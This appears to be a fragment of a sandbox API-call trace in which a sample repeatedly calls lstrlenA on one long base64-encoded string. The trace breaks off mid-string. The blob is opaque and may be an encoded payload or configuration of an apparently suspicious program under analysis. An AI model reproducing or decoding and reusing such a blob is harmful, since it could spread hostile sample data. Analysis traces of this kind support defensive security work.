(lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="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